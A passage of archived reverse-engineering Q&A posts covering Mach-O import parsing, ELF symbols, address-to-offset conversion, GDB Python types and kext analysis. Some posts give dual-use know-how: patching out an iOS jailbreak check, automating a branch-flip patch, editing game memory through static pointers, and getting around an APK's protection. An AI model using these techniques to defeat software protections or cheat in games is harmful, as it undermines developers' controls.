I've had two laptops, one Sony and another Acer. Sony laptops backlight can be decreased quite a bit, however the Acer laptops backlight brightness is too much.

\n\n

I was wondering where these values sit and if there is a possibility to lower the laptop screen backlight brightness any lower than their current settings.

\n\n

I don't know if this question belongs here but I've asked around a bit in forums and usual answer is to simply decrease brightness using GPU software. Yet this does nothing to the actual backlights, which in the night are eye piercing.

\n", "Title": "Laptop monitor backlight", "Tags": "|hardware|", "Answer": "

According to the official Quick Guide for the Acer Aspire 5750G, you can use Fn+F6 to turn the backlight completely off, and you can use Fn+\u25b7 and Fn+\u25c1 to increase or decrease the screen brightness, respectively:

\n\n

\"5750G\"

\n\n

The Acer Aspire 5750G has an Intel HD Graphics 3000 integrated graphics processor. So if you need more fine-grained control over the brightness, use the Intel HD Graphics Control Panel (latest drivers for your laptop) to manually adjust the backlight brightness:

\n\n

\"Intel

\n" }, { "Id": "8154", "CreationDate": "2015-02-03T09:41:31.820", "Body": "

On Linux the strace.so pintool gives a good overview on how system calls are intercepted in PIN. One could monitor the value of EAX to see which system call is being invoked(and mprotect and writes could be intercepted in the fashion).

\n\n

How could we do something similar for Windows? I see that the int 2e interrupt is used to trap into the kernel and that the system calls numbers are given at here. Is NtWriteFile the analogue of write? Also is NtProtectVirtualMemory the analogue of mprotect?

\n", "Title": "pintool to intercept writes and VirtualProtect", "Tags": "|operating-systems|pintool|system-call|", "Answer": "

Pintools on Windows can also aid you in instrumenting system calls. Also, if its discovered that the cpu supports sysenter/syscall, those are used in place of int 2e. However, this has no bearing on whether or not instrumentation can take place.

\n\n

To answer your second question, yes, NtReadFile, NtWriteFile and NtDeviceIoControlFile are the *nix equivalent of read/write/ioctl.

\n" }, { "Id": "8163", "CreationDate": "2015-02-05T16:25:42.513", "Body": "

Before exposing my problem, here's my understanding of the whole thing, so that you may correct me if I'm saying something wrong.

\n\n

In a Mach-O file (at least on x86), the __TEXT.__stubs section typically has stubs in it that all consist of a single indirect jump, like this:

\n\n
; __TEXT.__stubs\n; symbol stub for unlink:\n0x100000f46:  jmpq   *0xc4(%rip)\n; symbol stub for puts:\n0x100000f4c:  jmpq   *0xc6(%rip)\n
\n\n

These point to a location inside the __DATA.__nl_symbol_ptr section. The pointer initially goes to a stub helper in the __TEXT.__stub_helper section:

\n\n
; __TEXT.__stub_helper\n; stub helper for unlink\n0x100000f64:  pushq  $0x0\n0x100000f69:  jmp    0x100000f54\n; stub helper for puts\n0x100000f6e:  pushq  $0xe\n0x100000f73:  jmp    0x100000f54\n
\n\n

The stub helper calls dyld_stub_binder, which uses the pushed argument to figure out which stub it is and which function it needs to look up, then replaces the value in __DATA.__nl_symbol_ptr with the resolved address, and then hand over control to the function that was found (which then returns to the calling code normally).

\n\n

To assist debugging, debuggers find stubs and pretend that they have symbols for them. In this example program, whenever lldb sees call 0x100000f58, it determines that the stub should point to unlink, and says call 0x100000f58 ; symbol stub for: unlink in the disassembly.

\n\n

However, lldb does not use the pushed value: it appears to rely on the static linker placing undefined symbols and stubs in the same order, or some variant of that. Just like that, it looks more like a heuristic than a precise way to figure out which stub goes where, unless there's something else preventing you from tampering.

\n\n

So how do I reliably find which function is called by a stub? In the stub helpers, what do the constants in pushq $constant mean?

\n", "Title": "In a Mach-O executable, how can I find which function a stub targets?", "Tags": "|osx|symbols|mach-o|", "Answer": "

I wrote a Python script that parses entry points and imports from a Mach-O executable for one of my projects. The trick is to parse the LC_DYLD or LC_DYLD_ONLY loader commands. These two commands encode three import tables: bound symbols, weak symbols, and lazy symbols.

\n\n
struct dyld_info_command {\n  uint32_t cmd;\n  uint32_t cmdsize;\n  uint32_t rebase_off;\n  uint32_t rebase_size;\n  uint32_t bind_off;\n  uint32_t bind_size;\n  uint32_t weak_bind_off;\n  uint32_t weak_bind_size;\n  uint32_t lazy_bind_off;\n  uint32_t lazy_bind_size;\n  uint32_t export_off;\n  uint32_t export_size;\n};\n
\n\n

The interesting fields are bind_off, bind_size, weak_bind_off, weak_bind_size, lazy_bind_off and lazy_bind_size. Each pair encodes the offset and size of a block of data, inside the executable file, that contains the import table opcodes.

\n\n

Each of these tables can be seen as having four (useful) columns: the segment, segment offset, library name and symbol name. Together, the segment and segment offset indicate the address where the symbol's actual address will be written to (so for instance, if you have __TEXT and 0x40, this conceptually means that *(__TEXT+0x40) == resolvedSymbolAddress).

\n\n

The table is encoded as a stream of opcodes for compression purposes. The opcodes control a state machine that contains state for a would-be symbol, has operations to manipulate that state, and operations to \"bind\" a symbol (take all that state and make it a part of the symbol table). For instance, you could see:

\n\n\n\n

At the end of this sequence, you get two symbols: printf and scanf, whose addresses are located at __TEXT+0x40 and __TEXT+0x48 respectively, from libSystem.dylib. This means that if you see an instruction like jmp [__TEXT+0x48] (an indirect jump to the address contained at __TEXT+0x48), you know that you're going to scanf. This is how you can tell the destination of stubs.

\n\n

Each opcode is at least 1 byte, separated as 0xCI (where C is the command name, and I is an immediate value, both 4 bits). When the command needs a larger operand (or more operands), they are encoded in ULEB-128 format (except for BIND_OPCODE_SET_ADDEND_SLEB, which uses signed LEB, but we don't really care about it for the purpose of finding imports).

\n\n
def readUleb(data, offset):\n    byte = ord(data[offset])\n    offset += 1\n\n    result = byte & 0x7f\n    shift = 7\n    while byte & 0x80:\n        byte = ord(data[offset])\n        result |= (byte & 0x7f) << shift\n        shift += 7\n        offset += 1\n    return (result, offset)\n
\n\n

Libraries aren't actually identified by their names in the command stream. Rather, libraries are identified by their one-based \"library ordinal\", which is just the index of the library within all the LC_LOAD_DYLIB, LC_LOAD_WEAK_DYLIB, LC_REEXPORT_DYLIB and LC_LOAD_UPWARD_DYLIB loader commands. For instance, if an executable has a LC_LOAD_DYLIB command for libSystem and then one for libFoobar, libSystem has ordinal 1 and libFoobar has ordinal 2.

\n\n

There are three special values: ordinal -2 means that the symbol is looked up in the flat namespace (first library with a symbol with that name wins); ordinal -1 looks for a symbol in the main executable, whatever it is; and ordinal 0 looks for a symbol within this file. As we've said above, ordinal 1 and above refer to libraries.

\n\n

Symbol names are encoded within the command blob as null-terminated strings.

\n\n

Each opcode is easily described in code, so I'll spare us the description of each.

\n\n
BIND_OPCODE_DONE = 0\nBIND_OPCODE_SET_DYLIB_ORDINAL_IMM = 1\nBIND_OPCODE_SET_DYLIB_ORDINAL_ULEB = 2\nBIND_OPCODE_SET_DYLIB_SPECIAL_IMM = 3\nBIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM = 4\nBIND_OPCODE_SET_TYPE_IMM = 5\nBIND_OPCODE_SET_ADDEND_SLEB = 6\nBIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB = 7\nBIND_OPCODE_ADD_ADDR_ULEB = 8\nBIND_OPCODE_DO_BIND = 9\nBIND_OPCODE_DO_BIND_ADD_ADDR_ULEB = 10\nBIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED = 11\nBIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB = 12\n\ndef parseImports(self, offset, size):\n    pointerWidth = self.bitness / 8\n    slice = self.data[offset:offset+size]\n    index = 0\n\n    name = \"\"\n    segment = 0\n    segmentOffset = 0\n    libOrdinal = 0\n\n    stubs = []\n    def addStub():\n        stubs.append((segment, segmentOffset, libOrdinal, name))\n\n    while index != len(slice):\n        byte = ord(slice[index])\n        opcode = byte >> 4\n        immediate = byte & 0xf\n        index += 1\n\n        if opcode == BIND_OPCODE_DONE:\n            pass\n        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_IMM:\n            libOrdinal = immediate\n        elif opcode == BIND_OPCODE_SET_DYLIB_ORDINAL_ULEB:\n            libOrdinal, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_SET_DYLIB_SPECIAL_IMM:\n            libOrdinal = -immediate\n        elif opcode == BIND_OPCODE_SET_SYMBOL_TRAILING_FLAGS_IMM:\n            nameEnd = slice.find(\"\\0\", index)\n            name = slice[index:nameEnd]\n            index = nameEnd\n        elif opcode == BIND_OPCODE_SET_TYPE_IMM:\n            pass\n        elif opcode == BIND_OPCODE_SET_ADDEND_SLEB:\n            _, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_SET_SEGMENT_AND_OFFSET_ULEB:\n            segment = immediate\n            segmentOffset, index = self.__readUleb(slice, index)\n        elif opcode == BIND_OPCODE_ADD_ADDR_ULEB:\n            addend, index = self.__readUleb(slice, index)\n            segmentOffset += addend\n        elif opcode == BIND_OPCODE_DO_BIND:\n            addStub()\n        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_ULEB:\n            addStub()\n            addend, index = self.__readUleb(slice, index)\n            segmentOffset += addend\n        elif opcode == BIND_OPCODE_DO_BIND_ADD_ADDR_IMM_SCALED:\n            addStub()\n            segmentOffset += immediate * pointerWidth\n        elif opcode == BIND_OPCODE_DO_BIND_ULEB_TIMES_SKIPPING_ULEB:\n            times, index = self.__readUleb(slice, index)\n            skip, index = self.__readUleb(slice, index)\n            for i in range(times):\n                addStub()\n                segmentOffset += pointerWidth + skip\n        else:\n            sys.stderr.write(\"warning: unknown bind opcode %u, immediate %u\\n\" % (opcode, immediate))\n
\n" }, { "Id": "8166", "CreationDate": "2015-02-05T22:44:34.423", "Body": "

The test is on Ubuntu 12.04, 32-bit, with gcc 4.6.3.

\n\n

Basically I am doing some binary manipulation work on ELF binaries, and what I have to do now is to assemble a assembly program and guarantee the libc symbols are loaded to a predefined address by me.

\n\n

Let me elaborate it in an simple example.

\n\n

Suppose in the original code, libc symbols stdout@GLIBC_2.0 is used.

\n\n
#include <stdio.h>\nint main() {\n    FILE* fout = stdout;\n    fprintf( fout, \"hello\\n\" );\n}\n
\n\n

When I compile it and check the symbol address using these commands:

\n\n
gcc main.c\nreadelf -s a.out | grep stdout\n
\n\n

I got this:

\n\n
0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@GLIBC_2.0 (2)\n0804a020     4 OBJECT  GLOBAL DEFAULT   25 stdout@@GLIBC_2.0\n
\n\n

and the .bss section is like this:

\n\n
  readelf -S a.out | grep bss\n  [25] .bss              NOBITS          0804a020 001014 00000c 00  WA  0   0 32\n
\n\n

Now what I am trying to do is to load the stdout symbol in a predefined address, so I did this:

\n\n
echo \"stdout = 0x804a024;\" > symbolfile\ngcc -Wl,--just-symbols=symbolfile  main.c\n
\n\n

Then when I check the .bss section and symbol stdout, I got this:

\n\n
 [25] .bss              NOBITS          0804a014 001014 000008 00  WA  0   0  4\n\n\n4: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout\n49: 0804a024     0 NOTYPE  GLOBAL DEFAULT  ABS stdout\n
\n\n
    \n

  1. It seems that I didn't successfully load the symbol stdout@@GLIBC_2.0, but just a wired stdout. (I tried to write stdout@@GLIBC_2.0 in symbolfile, but it can't compile... )

    2. \n

  2. It seems that as I didn't make it, the beginning address of .bss section has also changed, which makes the address of stdout symbol in a non-section area. During runtime, it throws a segmentation fault when loading from 0x804a024.

    3. \n
\n\n

Could anyone help me on how to successfully load the library symbol at a predefined address? Thanks!

\n", "Title": "How to load library defined symbols to a specified location?", "Tags": "|assembly|c|elf|dynamic-linking|", "Answer": "

in the code (or in the linker command file) create a memory name (say .stdio) and give it a specific address. then write a section statement: '.stdio' and list the 'stdio.text' will then be the first thing in the memory .stdio section. The linker command file can also have a global name at the .stdio section, that can be referenced from within a program.

\n" }, { "Id": "8172", "CreationDate": "2015-02-06T20:43:57.853", "Body": "

it's me again. I am working on a tool can that disassemble/reassemble stripped binaries and now I am sucked in a (external) symbol reuse issue.

\n\n

The test is on 32-bit Linux x86 platform.

\n\n

Suppose I am working on a C++ program, in the GCC compiler produced assembly code, there exists some instructions like this:

\n\n
call    _ZNSt8ios_baseC2Ev\nmovl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4, %ebx\nmovb    $0, 312(%esp)\nmovl    _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+8, %ecx\n....\n
\n\n

Please pay special attention to symbol _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE.

\n\n

After the compilation, suppose I get an unstripped binary, and i checked this symbol like this:

\n\n
readelf -s a.out | grep \"_ZTTSt14basic\"\n69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\n72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)\n705: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS\n1033: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS\n
\n\n

See, this is my first question, why the name of symbol _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE modified to _ZTTSt14basic_ifstreamIcS and _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3) ?

\n\n

What is _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3) though?

\n\n

Then I stripped the binary like this:

\n\n
strip a.out\nreadelf -s a.out | grep \"_ZTTSt14basic\"\n69: 080a7390    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\n72: 080a7220    16 OBJECT  WEAK   DEFAULT   27 _ZTTSt14basic_ofstreamIcS@GLIBCXX_3.4 (3)\n
\n\n

Then after I disassemble the binary, and the corresponding disassembled assembly instructions are :

\n\n
 8063ee7:       e8 84 54 fe ff          call   8049370 <_ZNSt8ios_baseC2Ev@plt>\n 8063eec:       8b 1d 94 73 0a 08       mov    0x80a7394,%ebx\n 8063ef2:       c6 84 24 38 01 00 00    movb   $0x0,0x138(%esp)\n 8063ef9:       00\n 8063efa:       8b 0d 98 73 0a 08       mov    0x80a7398,%ecx\n
\n\n

At this point we can figure out that 0x80a7394 equals to _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE+4.

\n\n

In order to reuse these instructions, I modified the code:

\n\n
call _ZNSt8ios_baseC2Ev\nmov _ZTTSt14basic_ifstreamIcS+4,%ebx\nmovb $0x0,0x138(%esp)\nmov _ZTTSt14basic_ifstreamIcS+8,%ecx\n
\n\n

And did some update like these (please see this question for reference):

\n\n
echo \"\"_ZTTSt14basic_ifstreamIcS@GLIBCXX_3.4 (3)\" = 0x080a7390;\" > symbolfile\ng++ -Wl,--just-symbols=symbolfile  final.s\n\nreadelf -s a.out | grep \"_ZTTSt14basic\"\n\n3001: 080a7390     0 NOTYPE  LOCAL  DEFAULT   27 _ZTTSt14basic_ifstreamIcS\n8412: 080a7390     0 NOTYPE  GLOBAL DEFAULT  ABS _ZTTSt14basic_ifstreamIcS\n
\n\n

I debugged the newly produced binary, and to my surprise, in the newly produced binary, symbol _ZTTSt14basic_ifstreamIcS does not get any value after the function call of _ZNSt8ios_baseC2Ev, while in the original binary, after the function call, _ZTTSt14basic_ifstreamIcS do get some memory address referring to library section. Which means:

\n\n
call _ZNSt8ios_baseC2Ev\nmov _ZTTSt14basic_ifstreamIcS+4,%ebx  <--- %ebx gets zero!\nmovb $0x0,0x138(%esp)\nmov _ZTTSt14basic_ifstreamIcS+8,%ecx  <--- %ecx gets zero!\n
\n\n

I must state that in these lines of the original binary, registers %ebx and %ecx both gets some addresses referring to the libc section.

\n\n

This is my second question, why does symbol _ZTTSt14basic_ifstreamIcS didn't get any value after function call _ZNSt8ios_baseC2Ev? I also tried with symbol name _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE. But that does not work also.

\n\n

Am I clear enough? Could anyone save my ass? thank you!

\n", "Title": "Reuse symbols in disassembling/reassembling a C++ program", "Tags": "|disassembly|assembly|elf|symbols|reassembly|", "Answer": "

old question, but I think I can answer a part of it

\n\n
\n

why the name of symbol _ZTTSt14basic_ifstreamIcSt11char_traitsIcEE\n modified to _ZTTSt14basic_ifstreamIcS

\n
\n\n

I think you've just run into as terminal width limit. By default readelf limits output lines to 80 characters, you neeed to pass -W to disable it:

\n\n
-W --wide              Allow output width to exceed 80 characters\n
\n" }, { "Id": "8177", "CreationDate": "2015-02-07T18:06:30.313", "Body": "

this maybe total no brainer but i'm really new to this and i'd really appreciate some help!

\n\n

Basically i'm trying to patch(out aka nop) a obj-c function inside an iOS Application. I've successfully decrypted it and i'm able to disassemble it with otool. Needless to say the original application was stripped so no structure in the disassembly.

\n\n

I then heard about class-dump-z which is modified version of class dump with the ability to give you the VM Address of a given Function Implementation.

\n\n

Output of class-dump-z -A:

\n\n
#import <XXUnknownSuperclass.h> // Unknown library\n#import \"SomeHeader.h\"\n\n@class NSString;\n\n__attribute__((visibility(\"hidden\")))\n@interface CensoredClassName : XXUnknownSuperclass <SomeDelegate> {\n}\n@property(readonly, copy) NSString* debugDescription;\n@property(readonly, copy) NSString* description;\n@property(readonly, assign) Class superclass;\n@property(readonly, assign) unsigned hash;\n-(void)showJailbreakAlert;  // 0x1498d <--Patch this Method\n@end\n
\n\n

My Question: How to translate the given Implementation VM Address to binary File Offset which I can patch?\nOr even better how can i find the Method in the TEXT Disassembly? Simply Searching for the offset inside the disassembly generated with the otool -tV command does not return any result.

\n\n

Thank you very much in Advance

\n\n

Malte

\n\n

P.S. Link to Class-Dump-Z Google code Page:here

\n", "Title": "Convert Mach-O VM Address To File Offset", "Tags": "|disassembly|ios|patching|", "Answer": "
\n

file_offset= address - segment.address + segment.offset + fat_arch.offset

\n
\n

If does not contain Fat headers then fat_arch.offset = 0

\n

Check if fat: otool -fh or lipo -detailed_info

\n
Architectures in the fat file: MyBinary are: x86_64 arm64\n\nFat headers\nfat_magic 0xcafebabe\nnfat_arch 2\narchitecture 0\n    ...\n    offset 16384    <== fat_arch.offset for x86_64\n    size 58720\narchitecture 1\n    ...\n    offset 81920    <== fat_arch.offset for arm64\n    size 73072\n
\n

Assume we need x86_64 offset for 0000000100001921

\n
$ otool -tVj -arch x86_64 -function_offsets MyBinary | head -3\n   +0 0000000100001920  55                  pushq   %rbp\n=> +1 0000000100001921  4889e5              movq    %rsp, %rbp\n   +4 0000000100001924  53                  pushq   %rbx\n
\n

then

\n
$ otool -l -arch x86_64 MyBinary | grep __text -A 5\nsectname __text\n segname __TEXT\n   addr 0x0000000100001920    <== segment.address\n   size 0x000000000000160a\n offset 6432                  <== segment.offset\n  align 2^4 (16) \n
\n
\n

$ printf '0x%x\\n' $(( 0x0000000100001921 - 0x0000000100001920 + 6432 + 16384 ))

\n
\n

0x5921

\n
$ xxd -s 0x5921  -l 32 -c 16 MyBinary\n=> 00005921: 4889 e553 5048 8b3d 5b2d 0000 e8ca 1600  H..SPH.=[-......\n   00005931: 0048 8b35 ff2c 0000 4889 c7e8 6116 0000  .H.5.,..H...a...\n
\n" }, { "Id": "8178", "CreationDate": "2015-02-07T22:30:55.803", "Body": "

In Olly I managed to patch the file to no longer compare for a specific flag. Is it possible to automate this?

\n\n

Basically I changed a JNZ to a JZ.

\n\n

Is there a way to could do the same thing with a hex editor?

\n\n

The end goal would be to create a program to automate this patch.

\n\n

Thanks.

\n", "Title": "OllyDBG, managed to patch file, now can I automate this?", "Tags": "|ollydbg|", "Answer": "

If you want a patch tool you dont need to code it. Use dUP (diablo2oo2 Universal Patcher) or R!SC Process Patcher to easily create a .exe that patches your defined offsets with your defined values.

\n" }, { "Id": "8181", "CreationDate": "2015-02-08T00:43:04.580", "Body": "

Ive a problem.\nI am unable to decompile a game apk successfully. I am using apktool. \nI get many errors and but i get thw files. But then many of its smali files doesnt have a .end method in its code which makes a recompile impossible.

\n\n

Can someone help me or decompile it?

\n\n

Its this file https://www.dropbox.com/s/05kj2x4zie734b9/com.asobimo.iruna_en-1.apk?dl=0

\n\n

Thanks in advance

\n\n

//Edit: I figured out why it didnt work as I wanted to. The game has some kind of protection in apk since this year. So I used an older version of apk from 2014, and edited its files and set its version to actual version with APK Edit v0.4. Then save new apk and im fine =)\nThanks though for you help

\n", "Title": "Error decompiling apk", "Tags": "|decompile|apk|", "Answer": "

For various reasons, it is generally not possible to decompile a non-trivial program to the point where it can be correctly recompiled. Among other things, there's a lot of things you can do in bytecode that don't correspond to Java language features, and even in the ideal case, it is hard to restructure certain complex code.

\n\n

Decompilation is useful for understanding code, but if you want to edit it, you need to learn how to patch things at the bytecode level. The easiest way to do this for APKs is using baksmali.

\n\n

Running baksmali gives you a directory with a smali file for each class in the dex file. You can then edit the smali to make the changes you want, and run smali to reassemble everything into a new dex file. Then of course you have to add your classes.dex back into the apk, then sign and format it.

\n" }, { "Id": "8186", "CreationDate": "2015-02-09T11:45:13.567", "Body": "

I found an assembler instruction: mov [esi+2F],dl. I think ESI is a reference to a struct or class. 0x2F is the offset that references a property of the struct/class. Is it possible to find the value of the ESI register? I think this class or struct is initialized when the game is started.

\n\n

For example, I tried to reverse GTA San Andreas. A lot of memory addresses of the GTA SA here.

\n\n

I've found such information in this site: 0xB6F5F0 - Player pointer (CPed).

\n\n

I think it's address that I finding now. But how I can find it with debugger like cheat-engine without pointer scan? I'd like to find addresses in asm code. It's possible?

\n\n

I tried to set a breakpoint to the instruction. But I think it's useless because ESI address is dynamic. As I understand CPed struct/class uses dynamic memory allocation.

\n\n

I am sorry for my bad English and thanks in advance.

\n", "Title": "Is it possible to find static pointer with disassembler?", "Tags": "|disassembly|debuggers|pointer|", "Answer": "

Yes, it is possible

\n\n

I'm going to explain you a bit how most games do it (I have never reversed any GTA but I suppose it's something like this anyway).

\n\n

I'm going to cover static and dynamic allocation of structures.

\n\n
\n\n

The static way:

\n\n
GlobalGameInfo g_info;\n// ...\ng_info.some_data = 1;\n
\n\n

This is what ends up being a static offset in IDA, like so:

\n\n
lea eax, [g_info + 0xAABB] ; suppose 0xAABB is the offset for 'some_data'\nmov [eax], 1;\n
\n\n

g_info is always going to stay at the same offset, so once you find it, you can just use g_info + offset to get your data.

\n\n

The dynamic way:

\n\n
Player* players; // can be defined as Player* players[<count>] or Player** players;\n                 // it's the same\n// ...\nplayers = new Player[players_count];\n// ...\nplayers[1].alive = false;\n
\n\n

Which then results in:

\n\n
; this is a static location which is actually the \"players\" variable\n; and it contains an address which points to the offset in memory of the\n; actual players structure\ndword_xxxx dd ?\n
\n\n

So to use it in e.g. Cheat Engine, you Add a new address, check Pointer, add the xxxx part of dword_xxxx, and in offset, put your desired offset.\nFor example, to get players[1].alive, with alive being on offset e.g. 0x100, you'd calculate:

\n\n
value_stored_in_dword_xxxx + sizeof(Player) * player_id + 0x100\n
\n\n

So if dword_xxxx -> 0xAABBCCDD, sizeof(Player) -> 0x204, player_id -> 8, and offset -> 0x100, your calculation would be:

\n\n
0xAABBCCDD + (0x204 * 8) + 0x100\n// ^base      ^size   ^id  ^offset\n
\n\n
\n\n

The example

\n\n

Since you gave us mov [esi + 0x2F], dl:

\n\n\n\n
\n\n

The usage

\n\n

Cheat Engine

\n\n

In Cheat Engine, it's easy as inputting the pointer and the offset:

\n\n

\"Cheat

\n\n

As you can see, 0x5CCB138 is the dword_xxxx, the value inside dword_xxxx is 0x09021A00, and that + 0x142 (my offset) results in the start of the in-game name.

\n\n

C

\n\n

In case you want to do it programmatically, you can do it like this in C:

\n\n
PCHAR my_name = PCHAR (*PDWORD(0x5CCB138) + 0x142);\n^save the addr|       | ^deref to get     | add the offset\n              | ^cast |    0x09021A00     |\n\n// -> be careful, do not surpass the max length!\n// -> also remember that there's 'your name' length + 1 \\x00 byte\n//    at the end!\nchar new_name[] = \"newName\";\nstrncpy(my_name, new_name, sizeof(new_name)); // again: be careful with the length!\n
\n\n

The proper way, however, would be reversing the entire struct like this:

\n\n
struct player_data {\n    int ID;\n    char name[15];\n    int some_data;\n    ...;\n};\n// make sure the order / size of each item is correct!\n// a single error can fuck up the entire struct\n\n// I'm going to assume you understand pointers\nplayer_data* data = *(player_data**) 0x5CCB138;\n\n// do your changes\n// again, be careful with the length!\n// also note that sizeof() will not work if you use char*\nchar new_name[] = \"new name!\";\nstrncpy(data->name, new_name, sizeof(new_name));\n
\n" }, { "Id": "8192", "CreationDate": "2015-02-10T03:35:40.703", "Body": "

Upon performing a disassembly of a binary, I noticed that many of the subroutines have the wrong offset for the address. It seems that the byte preceding the 2 byte address is wrong. For example, in the screenshot below, the disassembly indicates the functions should be at 0xA5C1E and 0xA5BCA. I've double checked the raw hex dump and confirmed that there is an \"A\" byte before the 2 byte address. It's also interesting to note that addresses which start with \"A\" are impossible in this binary since it's only 0x7FFFF in length. Based on experience from other binaries, I know the true addresses for these functions should be 0x25C1E and 0x25BCA, respectively. I can also confirm that I have subroutines which start at these locations.

\n\n

\"enter

\n\n

I've disassembled other binaries (different application, same processor) and this problem didn't appear. However, every binary I've disassembled from this application shows this problem.

\n\n

Is there a way to correct this in IDA Pro? Does it have anything to do with my DPP register values?

\n", "Title": "Correcting subroutine offset in IDA Pro", "Tags": "|ida|", "Answer": "

Your broken addresses seem to be exactly 0x80000 plus the intended address.

\n\n

There's two possibilities:

\n\n\n" }, { "Id": "8195", "CreationDate": "2015-02-10T17:05:51.740", "Body": "

I recently discovered there is no native Linux driver for the Web Cam in my computer. However, there is a person who has taking the initiative to start a github project for a driver. That being said, I was able to get the web cam working in a qemu guest OS running OS X (10.10), and now I'm at the point where I would like to start to analyze the .kext is question.

\n\n

A quick google search revealed this, but I am not sure if this method would still apply to OS X (10.10).

\n\n

Should I try to debug the .kext on a running system, or should I just copy the .kext to my host OS (Linux) and start analyzing in a disassembler such as Hopper / Radare2?

\n\n

Also I should note, from what I understand, most OS X kernel extensions are written in C++ while most if not all Linux drivers are written in C. So would I be wasting my time reversing / analyzing this .kext? Any help on this subject matter would be greatly appreciated.

\n", "Title": "What are some methods to reversing a .kext?", "Tags": "|osx|", "Answer": "

Answering Your Question Directly:

\n\n

You can reverse Kernal Extensions with IDA Pro, Radare2, GDB or whatever dissasembler you would like. Yes, you will have to learn what C++ structures look like once disassembled. I can't answer the \"static analysis or dynamic analysis?\" question directly, since often the answer is \"both, depending on exactly what you want.\" Some Reverse Engineers start with the static, and some start with the dynamic.

\n\n

I personally would start with a static analysis tool because:

\n\n\n\n

But to each his own. Given enough time I would go through both processes just for the sake of knowing. Also, to pull this off correctly, you will need to learn a little about Macintosh system programming.

\n\n

There is a class at recon on this subject this year: http://www.recon.cx/2015/trainingosx.html (once the white paper is published, it should be linked in this answer)

\n\n

Here is a snippet from a book on kernal exploitation that takes you through the basics of reversing a kext with IDA pro:

\n\n

https://books.google.com/books?id=G6Zeh_XSOqUC&pg=PA215&lpg=PA215&dq=IDA+pro+kernel+extension+mac&source=bl&ots=0y3XXMAgqH&sig=6HkJnGKmW7OugZiHo42DwOYtaY8&hl=en&sa=X&ei=93nbVIe_BYWVyQT4z4HgDw&ved=0CEIQ6AEwBQ#v=onepage&q=IDA%20pro%20kernel%20extension%20mac&f=false

\n\n

Regarding this particular camera:

\n\n

It seems that the camera in question is referenced in the conversation found here: https://bugzilla.kernel.org/show_bug.cgi?id=71131

\n\n

Essentially, this camera speaks over PCI because it does not compress its video before being sent to the system. The thread states that there is already a project underway to make a driver for the camera, which can be found at https://github.com/patjak/bcwc_pcie

\n\n

The wiki on this site is informative, and lists some of the issues with reverse engineering this sort of driver. The wiki page found at: https://github.com/patjak/bcwc_pcie/wiki/Mac-OS-X-driver gives some great ideas for where you should be starting on the mac side of things.

\n\n

Based on their to do list, you might want to focus on helping rip the device firmware from the device itself.

\n\n

Regarding developing your own driver:

\n\n

I would start from a different direction, and reverse engineer the camera itself. Depending on the complexity of your camera, you may be able to speak to it directly without a driver over serial. You might also be able to open up the camera, and speak to it directly via a debug port (think JTAG, or even simpler.)

\n\n

The first time I read your question, I thought you meant a small camera outside your computer, but I am guessing you mean a camera built into your laptop. I think in that case, you could just adapt a driver from an existing webcam, and see where it dies. I believe these cameras are fairly generic bits of hardware at this point.

\n\n

Most webcam's on Linux use this driver: https://help.ubuntu.com/community/UVC, and potentially you can just run this driver and see where it dies/can't communicate with the camera. At any rate, watching the actual communications with the camera will give you a much better idea of what you need to do.

\n\n

Regarding the Utility of reversing a Macintosh Kernal extension:

\n\n

I would be less worried about the c++/C difference versus differences in system libaries, and the system call interface. It certainly wouldn't hurt to analyze the driver for your own edification, but you may find that it gets most of its work done by calling mac system libraries that don't work the same way in linux. You will be most interested in reading the parts of the driver that define the communication with the camera. At any rate, you wont be able to directly convert the KeXT into a Linux Kernal Module.

\n\n

My Final Advice:

\n\n

Instead, if your current webcam isn't working with your linux distro, I would first confirm that you have the proper generic driver, and then edit the generic driver to support your camera. You can do a pull request on the generic driver.

\n\n

In most cases the communications with these cameras are very simple serial communications. I suspect that triggering an error from the generic driver will be faster than trying to decipher the mac driver.

\n" }, { "Id": "8197", "CreationDate": "2015-02-10T21:51:50.840", "Body": "

GDB has a reasonably robust API which is exposed to Python at runtime. It allows for inspecting various types, but does not appear to allow creation of types.

\n\n

However, types can be manually added by loading an object file at runtime (https://stackoverflow.com/q/7272558).

\n\n

Is there any way to add or create a new gdb.Type object at runtime?

\n\n

The intent is to then allow inspection of memory via gdb.Value.cast to the type.pointer() and then .dereference()d. This would be much better/easier than manually deserializing data field-by-field.

\n\n

Alternatively, I thought that I could just load an object file programmatically. It looks like GDB is perfectly happy to load cross-architecture object files for symbol/type purposes. In order to not kill any real/useful symbols, or create misleading ones, a non-existent address should be used. However, loading a .o at an unmapped address requires the user to verify (type y), so when done from gdb.execute(...) it fails outright.

\n", "Title": "Adding Types to GDB via Python", "Tags": "|gdb|python|", "Answer": "

So it turns out you can do this in the following way, from within GDB Python. The trick is from_tty=False.

\n\n
foo = open('foo.cc','w+')\nfoo.write('struct foobar { int x; }; foobar foo;')\nfoo.close()\n\nsubprocess.check_output('g++ -w -c -g foo.cc -o foo.o', shell=True)\n\ngdb.execute('add-symbol-file foo.o 0', from_tty=False, to_string=True)\n
